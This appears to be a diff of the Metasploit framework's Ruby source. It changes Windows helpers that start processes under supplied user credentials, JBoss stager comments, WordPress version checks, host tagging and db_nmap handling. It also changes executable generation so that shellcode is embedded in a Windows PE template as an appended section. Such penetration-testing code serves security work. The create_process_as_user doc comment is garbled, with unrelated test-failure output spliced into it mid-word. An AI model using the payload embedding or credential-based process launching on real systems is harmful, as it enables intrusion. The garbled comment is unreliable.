#
|
||||
def create_process_with_logon(domain, user, password, application_name, command_line)
|
||||
return unless check_user_format(user, domain)
|
||||
return unless check_command_length(application_name, command_line, 1024)
|
||||
|
||||
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
|
||||
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
|
||||
domain,
|
||||
password,
|
||||
'LOGON_WITH_PROFILE',
|
||||
application_name,
|
||||
command_line,
|
||||
'CREATE_UNICODE_ENVIRONMENT',
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
if create_process['return']
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
else
|
||||
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
|
||||
end
|
||||
|
||||
pi
|
||||
end
|
||||
|
||||
#
|
||||
# Call CreateProcessAsUser to start a process with the supplier
|
||||
# user credentials
|
||||
#
|
||||
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
|
||||
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
|
||||
#
|
||||
# This will normally error with 0xc000142 on later OS's (Vista+?) for
|
||||
# gui apps but is ok for firing off cmd.exe...
|
||||
#
|
||||
# @param domain [String] The target user domain
|
||||
# @param user [String] The target user
|
||||
# @param password [String] The target user password
|
||||
# @param application_name [String] Thn executableived :CloseHandle
|
||||
# with unexpected arguments
|
||||
# expected: ("testPhToken")
|
||||
# got: (n be run, can be
|
||||
# nil
|
||||
# @param command_line [String] The command line or process arguments
|
||||
#
|
||||
# @return [Hash, nil] The values from the process_information struct
|
||||
#
|
||||
def create_process_as_user(domain, user, password, application_name, command_line)
|
||||
return unless check_user_format(user, domain)
|
||||
return unless check_command_length(application_name, command_line, 32000)
|
||||
|
||||
vprint_status("Executing LogonUserA...")
|
||||
logon_user = session.railgun.advapi32.LogonUserA(user,
|
||||
domain,
|
||||
password,
|
||||
'LOGON32_LOGON_INTERACTIVE',
|
||||
'LOGON32_PROVIDER_DEFAULT',
|
||||
4)
|
||||
|
||||
if logon_user['return']
|
||||
begin
|
||||
ph_token = logon_user['phToken']
|
||||
vprint_status("Executing CreateProcessAsUserA...")
|
||||
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
|
||||
application_name,
|
||||
command_line,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
'CREATE_NEW_CONSOLE',
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
|
||||
if create_process['return']
|
||||
begin
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||
end
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
else
|
||||
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||
end
|
||||
|
||||
return pi
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(ph_token)
|
||||
end
|
||||
else
|
||||
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Parse the PROCESS_INFORMATION struct
|
||||
#
|
||||
# @param process_information [String] The PROCESS_INFORMATION value
|
||||
# from the CreateProcess call
|
||||
#
|
||||
# @return [Hash] The values from the process_information struct
|
||||
#
|
||||
def parse_process_information(process_information)
|
||||
fail ArgumentError, 'process_information is nil' if process_information.nil?
|
||||
fail ArgumentError, 'process_information is empty string' if process_information.empty?
|
||||
|
||||
pi = process_information.unpack('VVVV')
|
||||
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the username and domain is in the correct format
|
||||
# for the CreateProcess_x WinAPI calls.
|
||||
#
|
||||
# @param username [String] The target user
|
||||
# @param domain [String] The target user domain
|
||||
#
|
||||
# @raise [ArgumentError] If the username format is incorrect
|
||||
#
|
||||
# @return [True] True if username is in the correct format
|
||||
#
|
||||
def check_user_format(username, domain)
|
||||
fail ArgumentError, 'username is nil' if username.nil?
|
||||
|
||||
if domain && username.include?('@')
|
||||
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the command_length parameter is the correct length
|
||||
# for the CreateProcess_x WinAPI calls depending on the presence
|
||||
# of application_name
|
||||
#
|
||||
# @param application_name [String] lpApplicationName
|
||||
# @param command_line [String] lpCommandLine
|
||||
# @param max_length [Integer] The max command length of the respective
|
||||
# CreateProcess function
|
||||
#
|
||||
# @raise [ArgumentError] If the command_line is too large
|
||||
#
|
||||
# @return [True] True if the command_line is within the correct bounds
|
||||
#
|
||||
def check_command_length(application_name, command_line, max_length)
|
||||
fail ArgumentError, 'max_length is nil' if max_length.nil?
|
||||
|
||||
if application_name.nil? && command_line.nil?
|
||||
raise ArgumentError, 'Both application_name and command_line are nil'
|
||||
elsif command_line && command_line.length > max_length
|
||||
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
|
||||
elsif application_name.nil? && command_line
|
||||
cl = command_line.split(' ')
|
||||
if cl[0] && cl[0].length > MAX_PATH
|
||||
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -528,7 +528,7 @@ module Services
|
|||
# Parses out a SERVICE_STATUS struct from the
|
||||
# lpServiceStatus out parameter
|
||||
#
|
||||
# @param (lpServiceStatus)
|
||||
# @param lpServiceStatus [String] the latest status of calling service
|
||||
#
|
||||
# @return [Hash] Containing SERVICE_STATUS values
|
||||
#
|
||||
|
|
|
@ -49,7 +49,7 @@ module Msf::HTTP::JBoss::Base
|
|||
|
||||
# Try to auto detect the target architecture and platform
|
||||
#
|
||||
# @param [Array] The available targets
|
||||
# @param [Array] available_targets The available targets
|
||||
# @return [Msf::Module::Target, nil] The detected target or nil
|
||||
def auto_target(available_targets)
|
||||
if http_verb == 'HEAD'
|
||||
|
|
|
@ -7,7 +7,7 @@ module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
|||
# to overcome the size limit in those requests
|
||||
#
|
||||
# @param stager_base [String] The name of the base of the stager.
|
||||
# @param stager_jsp [String] The name name of the jsp stager.
|
||||
# @param stager_jsp_name [String] The name name of the jsp stager.
|
||||
# @return [String] The JSP head stager.
|
||||
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
|
|
|
@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version
|
|||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] plugin_name The name of the plugin
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks the style.css file for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the theme
|
||||
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
|
||||
res = send_request_cgi(
|
||||
'uri' => style_uri,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# No style.css file present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the theme
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
||||
def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
|
@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version
|
|||
nil
|
||||
end
|
||||
|
||||
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
||||
def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :plugin
|
||||
folder = 'plugins'
|
||||
|
@ -99,36 +119,73 @@ module Msf::HTTP::Wordpress::Version
|
|||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# no Readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
||||
if res.nil? || res.code != 200
|
||||
# No readme.txt or Readme.txt present for plugin
|
||||
return Msf::Exploit::CheckCode::Unknown if type == :plugin
|
||||
|
||||
# readme present, but no version number
|
||||
# Try again using the style.css file
|
||||
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
|
||||
end
|
||||
|
||||
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
|
||||
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
|
||||
# If no version could be found in readme.txt for a theme, try style.css
|
||||
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
|
||||
else
|
||||
return version_res
|
||||
end
|
||||
end
|
||||
|
||||
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :readme
|
||||
# Try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
||||
when :style
|
||||
# Try to extract version from style.css
|
||||
# Example line:
|
||||
# Version: 1.5.2
|
||||
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
|
||||
else
|
||||
fail("Unknown file type #{type}")
|
||||
end
|
||||
|
||||
# Could not identify version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
||||
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
|
||||
|
||||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if fixed_version.nil?
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
# Newer or equal to the version it was introduced
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
# Not in range, nut vulnerable
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
# version newer than fixed version
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
# vuln_introduced_version provided, check if version is newer
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
# Not in range, nut vulnerable
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
# version newer than fixed version
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -111,7 +111,6 @@ module Msf
|
|||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [Rex::Socket::Tcp] :sock
|
||||
# @return [String]
|
||||
def safe_get_once(nsock = sock)
|
||||
data = ''
|
||||
begin
|
||||
|
|
|
@ -33,7 +33,7 @@ module Msf
|
|||
|
||||
# Builds a MIT Credential Cache principal
|
||||
#
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>}>]
|
||||
# @param opts [Hash<{Symbol => <Fixnum, String, Array<String>>}>]
|
||||
# @option opts [Fixnum] :name_type
|
||||
# @option opts [String] :realm
|
||||
# @option opts [Array<String>] :components
|
||||
|
|
|
@ -28,7 +28,7 @@ module Banner
|
|||
fdata = "<< Missing banner: #{pathname} >>"
|
||||
begin
|
||||
raise ArgumentError unless File.readable?(pathname)
|
||||
raise ArgumentError unless File.stat(pathname).size < 4096
|
||||
raise ArgumentError unless File.stat(pathname).size < 16384
|
||||
fdata = File.open(pathname) {|f| f.read f.stat.size}
|
||||
rescue SystemCallError, ArgumentError
|
||||
nil
|
||||
|
@ -47,6 +47,8 @@ module Banner
|
|||
# Easter egg (always a halloween themed logo): export/set THISISHALLOWEEN=1
|
||||
elsif ( ENV['THISISHALLOWEEN'] || Time.now.strftime("%m%d") == "1031" )
|
||||
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.hwtxt'))
|
||||
elsif ( ENV['APRILFOOLSPONIES'] || Time.now.strftime("%m%d") == "0401" )
|
||||
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.aftxt'))
|
||||
else
|
||||
logos.concat(Dir.glob(::Msf::Config.logos_directory + File::SEPARATOR + '*.txt'))
|
||||
logos.concat(Dir.glob(::Msf::Config.user_logos_directory + File::SEPARATOR + '*.txt'))
|
||||
|
|
|
@ -2973,11 +2973,18 @@ class Core
|
|||
res << addr
|
||||
end
|
||||
when 'LHOST'
|
||||
rh = self.active_module.datastore["RHOST"]
|
||||
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
|
||||
if rh and not rh.empty?
|
||||
res << Rex::Socket.source_address(rh)
|
||||
else
|
||||
res << Rex::Socket.source_address()
|
||||
res << Rex::Socket.source_address
|
||||
# getifaddrs was introduced in 2.1.2
|
||||
if Socket.respond_to?(:getifaddrs)
|
||||
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
|
||||
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
|
||||
}
|
||||
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
||||
end
|
||||
end
|
||||
else
|
||||
end
|
||||
|
|
|
@ -220,6 +220,11 @@ class Db
|
|||
end
|
||||
|
||||
def change_host_info(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the host info, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
|
@ -230,6 +235,11 @@ class Db
|
|||
end
|
||||
|
||||
def change_host_name(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the host name, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
|
@ -240,6 +250,11 @@ class Db
|
|||
end
|
||||
|
||||
def change_host_comment(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the comment, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
|
@ -249,12 +264,59 @@ class Db
|
|||
end
|
||||
end
|
||||
|
||||
def add_host_tag(rws, tag_name)
|
||||
if rws == [nil]
|
||||
print_error("In order to add a tag, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
wspace = framework.db.workspace
|
||||
host = framework.db.get_host(:workspace => wspace, :address => ip)
|
||||
if host
|
||||
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
|
||||
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
|
||||
tag.name = tag_name
|
||||
tag.hosts = [host]
|
||||
tag.save! if tag.changed?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def delete_host_tag(rws, tag_name)
|
||||
wspace = framework.db.workspace
|
||||
tag_ids = []
|
||||
if rws == [nil]
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
|
||||
found_tags.each do |t|
|
||||
tag_ids << t.id
|
||||
end
|
||||
else
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
|
||||
found_tags.each do |t|
|
||||
tag_ids << t.id
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tag_ids.each do |id|
|
||||
tag = Mdm::Tag.find_by_id(id)
|
||||
tag.hosts.delete
|
||||
tag.destroy
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_hosts(*args)
|
||||
return unless active?
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
onlyup = false
|
||||
set_rhosts = false
|
||||
mode = :search
|
||||
mode = []
|
||||
delete_count = 0
|
||||
|
||||
rhosts = []
|
||||
|
@ -263,7 +325,8 @@ class Db
|
|||
|
||||
output = nil
|
||||
default_columns = ::Mdm::Host.column_names.sort
|
||||
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
|
||||
default_columns << 'tags' # Special case
|
||||
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
|
||||
|
||||
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
||||
|
||||
|
@ -271,9 +334,9 @@ class Db
|
|||
while (arg = args.shift)
|
||||
case arg
|
||||
when '-a','--add'
|
||||
mode = :add
|
||||
mode << :add
|
||||
when '-d','--delete'
|
||||
mode = :delete
|
||||
mode << :delete
|
||||
when '-c'
|
||||
list = args.shift
|
||||
if(!list)
|
||||
|
@ -297,14 +360,17 @@ class Db
|
|||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
when '-i', '--info'
|
||||
mode = :new_info
|
||||
mode << :new_info
|
||||
info_data = args.shift
|
||||
when '-n', '--name'
|
||||
mode = :new_name
|
||||
mode << :new_name
|
||||
name_data = args.shift
|
||||
when '-m', '--comment'
|
||||
mode = :new_comment
|
||||
mode << :new_comment
|
||||
comment_data = args.shift
|
||||
when '-t', '--tag'
|
||||
mode << :tag
|
||||
tag_name = args.shift
|
||||
when '-h','--help'
|
||||
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
|
||||
print_line
|
||||
|
@ -320,6 +386,7 @@ class Db
|
|||
print_line " -i,--info Change the info of a host"
|
||||
print_line " -n,--name Change the name of a host"
|
||||
print_line " -m,--comment Change the comment of a host"
|
||||
print_line " -t,--tag Add or specify a tag to a range of hosts"
|
||||
print_line
|
||||
print_line "Available columns: #{default_columns.join(", ")}"
|
||||
print_line
|
||||
|
@ -338,7 +405,9 @@ class Db
|
|||
col_names = default_columns + virtual_columns
|
||||
end
|
||||
|
||||
if mode == :add
|
||||
mode << :search if mode.empty?
|
||||
|
||||
if mode == [:add]
|
||||
host_ranges.each do |range|
|
||||
range.each do |address|
|
||||
host = framework.db.find_or_create_host(:host => address)
|
||||
|
@ -358,23 +427,41 @@ class Db
|
|||
# Sentinal value meaning all
|
||||
host_ranges.push(nil) if host_ranges.empty?
|
||||
|
||||
case mode
|
||||
when :new_info
|
||||
case
|
||||
when mode == [:new_info]
|
||||
change_host_info(host_ranges, info_data)
|
||||
return
|
||||
when :new_name
|
||||
when mode == [:new_name]
|
||||
change_host_name(host_ranges, name_data)
|
||||
return
|
||||
when :new_comment
|
||||
when mode == [:new_comment]
|
||||
change_host_comment(host_ranges, comment_data)
|
||||
return
|
||||
when mode == [:tag]
|
||||
begin
|
||||
add_host_tag(host_ranges, tag_name)
|
||||
rescue ::Exception => e
|
||||
if e.message.include?('Validation failed')
|
||||
print_error(e.message)
|
||||
else
|
||||
raise e
|
||||
end
|
||||
end
|
||||
return
|
||||
when mode.include?(:tag) && mode.include?(:delete)
|
||||
delete_host_tag(host_ranges, tag_name)
|
||||
return
|
||||
end
|
||||
|
||||
each_host_range_chunk(host_ranges) do |host_search|
|
||||
framework.db.hosts(framework.db.workspace, onlyup, host_search).each do |host|
|
||||
if search_term
|
||||
next unless host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) }
|
||||
next unless (
|
||||
host.attribute_names.any? { |a| host[a.intern].to_s.match(search_term) } ||
|
||||
!Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", framework.db.workspace.id, host.address, search_term.source).order("tags.id DESC").empty?
|
||||
)
|
||||
end
|
||||
|
||||
columns = col_names.map do |n|
|
||||
# Deal with the special cases
|
||||
if virtual_columns.include?(n)
|
||||
|
@ -382,6 +469,11 @@ class Db
|
|||
when "svcs"; host.services.length
|
||||
when "vulns"; host.vulns.length
|
||||
when "workspace"; host.workspace.name
|
||||
when "tags"
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ?", framework.db.workspace.id, host.address).order("tags.id DESC")
|
||||
tag_names = []
|
||||
found_tags.each { |t| tag_names << t.name }
|
||||
found_tags * ", "
|
||||
end
|
||||
# Otherwise, it's just an attribute
|
||||
else
|
||||
|
@ -394,7 +486,7 @@ class Db
|
|||
addr = (host.scope ? host.address.to_s + '%' + host.scope : host.address.to_s )
|
||||
rhosts << addr
|
||||
end
|
||||
if mode == :delete
|
||||
if mode == [:delete]
|
||||
host.destroy
|
||||
delete_count += 1
|
||||
end
|
||||
|
@ -1648,7 +1740,7 @@ class Db
|
|||
return
|
||||
end
|
||||
save = false
|
||||
arguments = ''
|
||||
arguments = []
|
||||
while (arg = args.shift)
|
||||
case arg
|
||||
when 'save'
|
||||
|
@ -1657,7 +1749,7 @@ class Db
|
|||
cmd_db_nmap_help
|
||||
return
|
||||
else
|
||||
arguments << arg + ' '
|
||||
arguments << arg
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -1681,15 +1773,15 @@ class Db
|
|||
# Custom function needed because cygpath breaks on 8.3 dirs
|
||||
tout = Rex::Compat.cygwin_to_win32(fd.path)
|
||||
fout = Rex::Compat.cygwin_to_win32(fo.path)
|
||||
args.push('-oX', tout)
|
||||
args.push('-oN', fout)
|
||||
arguments.push('-oX', tout)
|
||||
arguments.push('-oN', fout)
|
||||
else
|
||||
args.push('-oX', fd.path)
|
||||
args.push('-oN', fo.path)
|
||||
arguments.push('-oX', fd.path)
|
||||
arguments.push('-oN', fo.path)
|
||||
end
|
||||
|
||||
begin
|
||||
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], arguments)
|
||||
nmap_pipe = ::Open3::popen3([nmap, 'nmap'], *arguments)
|
||||
temp_nmap_threads = []
|
||||
temp_nmap_threads << framework.threads.spawn("db_nmap-Stdout", false, nmap_pipe[1]) do |np_1|
|
||||
np_1.each_line do |nmap_out|
|
||||
|
|
|
@ -387,8 +387,13 @@ class Driver < Msf::Ui::Driver
|
|||
if (conf.group?(ConfigGroup))
|
||||
conf[ConfigGroup].each_pair { |k, v|
|
||||
case k.downcase
|
||||
when "activemodule"
|
||||
when 'activemodule'
|
||||
run_single("use #{v}")
|
||||
when 'activeworkspace'
|
||||
if framework.db.active
|
||||
workspace = framework.db.find_workspace(v)
|
||||
framework.db.workspace = workspace if workspace
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
@ -405,6 +410,12 @@ class Driver < Msf::Ui::Driver
|
|||
group['ActiveModule'] = active_module.fullname
|
||||
end
|
||||
|
||||
if framework.db.active
|
||||
unless framework.db.workspace.default?
|
||||
group['ActiveWorkspace'] = framework.db.workspace.name
|
||||
end
|
||||
end
|
||||
|
||||
# Save it
|
||||
begin
|
||||
Msf::Config.save(ConfigGroup => group)
|
||||
|
|
|
@ -18,6 +18,7 @@ require 'rex/zip'
|
|||
require 'metasm'
|
||||
require 'digest/sha1'
|
||||
require 'msf/core/exe/segment_injector'
|
||||
require 'msf/core/exe/segment_appender'
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -182,12 +183,8 @@ require 'msf/core/exe/segment_injector'
|
|||
payload = win32_rwx_exec(code)
|
||||
|
||||
# Create a new PE object and run through sanity checks
|
||||
fsize = File.size(opts[:template])
|
||||
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
|
||||
|
||||
text = nil
|
||||
pe.sections.each {|sec| text = sec if sec.name == ".text"}
|
||||
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if opts[:inject]
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
|
@ -198,6 +195,9 @@ require 'msf/core/exe/segment_injector'
|
|||
return injector.generate_pe
|
||||
end
|
||||
|
||||
text = nil
|
||||
pe.sections.each {|sec| text = sec if sec.name == ".text"}
|
||||
|
||||
raise RuntimeError, "No .text section found in the template" unless text
|
||||
|
||||
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
|
||||
|
@ -205,12 +205,15 @@ require 'msf/core/exe/segment_injector'
|
|||
end
|
||||
|
||||
p_length = payload.length + 256
|
||||
|
||||
# If the .text section is too small, append a new section instead
|
||||
if text.size < p_length
|
||||
fname = ::File.basename(opts[:template])
|
||||
msg = "The .text section for '#{fname}' is too small. "
|
||||
msg << "Minimum is #{p_length.to_s} bytes, your .text section is " +
|
||||
"#{text.size.to_s} bytes"
|
||||
raise RuntimeError, msg
|
||||
appender = Msf::Exe::SegmentAppender.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x86
|
||||
})
|
||||
return appender.generate_pe
|
||||
end
|
||||
|
||||
# Store some useful offsets
|
||||
|
@ -506,7 +509,8 @@ require 'msf/core/exe/segment_injector'
|
|||
def self.to_win64pe(framework, code, opts = {})
|
||||
# Allow the user to specify their own EXE template
|
||||
set_template_default(opts, "template_x64_windows.exe")
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
|
||||
# Try to inject code into executable by adding a section without affecting executable behavior
|
||||
if opts[:inject]
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
|
@ -515,8 +519,17 @@ require 'msf/core/exe/segment_injector'
|
|||
})
|
||||
return injector.generate_pe
|
||||
end
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
|
||||
#opts[:exe_type] = :exe_sub
|
||||
#return exe_sub_method(code,opts)
|
||||
|
||||
# Append a new section instead
|
||||
appender = Msf::Exe::SegmentAppender.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x64
|
||||
})
|
||||
return appender.generate_pe
|
||||
end
|
||||
|
||||
# Embeds shellcode within a Windows PE file implementing the Windows
|
||||
|
|
|
@ -141,9 +141,9 @@ module Rex
|
|||
|
||||
def report_web_page(&block)
|
||||
return unless(in_issue && has_text)
|
||||
return unless @state[:web_site]
|
||||
return unless @state[:response_headers]
|
||||
return unless @state[:uri]
|
||||
return unless @state[:web_site].present?
|
||||
return unless @state[:response_headers].present?
|
||||
return unless @state[:uri].present?
|
||||
web_page_info = {}
|
||||
web_page_info[:web_site] = @state[:web_site]
|
||||
web_page_info[:path] = @state[:uri].path
|
||||
|
@ -187,31 +187,21 @@ module Rex
|
|||
|
||||
def record_request_and_response
|
||||
return unless(in_issue && has_text)
|
||||
return unless @state[:web_site]
|
||||
return unless @state[:web_site].present?
|
||||
really_original_traffic = unindent_and_crlf(@text)
|
||||
split_traffic = really_original_traffic.split(/\r\n\r\n/)
|
||||
request_headers_text = split_traffic.first
|
||||
content_length = 0
|
||||
if request_headers_text =~ /\ncontent-length:\s+([0-9]+)/mni
|
||||
content_length = $1.to_i
|
||||
end
|
||||
if(content_length > 0) and (split_traffic[1].to_s.size >= content_length)
|
||||
request_body_text = split_traffic[1].to_s[0,content_length]
|
||||
else
|
||||
request_body_text = nil
|
||||
end
|
||||
response_headers_text = split_traffic[1].to_s[content_length,split_traffic[1].to_s.size].lstrip
|
||||
request = request_headers_text
|
||||
return unless(request && response_headers_text)
|
||||
response_body_text = split_traffic[2]
|
||||
request_headers, request_body, response_headers, response_body = really_original_traffic.split(/\r\n\r\n/)
|
||||
